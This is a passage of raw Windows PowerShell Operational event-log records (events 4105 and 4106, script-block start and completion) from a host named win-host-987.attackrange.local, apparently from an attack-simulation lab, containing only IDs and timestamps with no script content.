SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025888
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025887
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025882
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025881
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025859
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025857
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025856
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
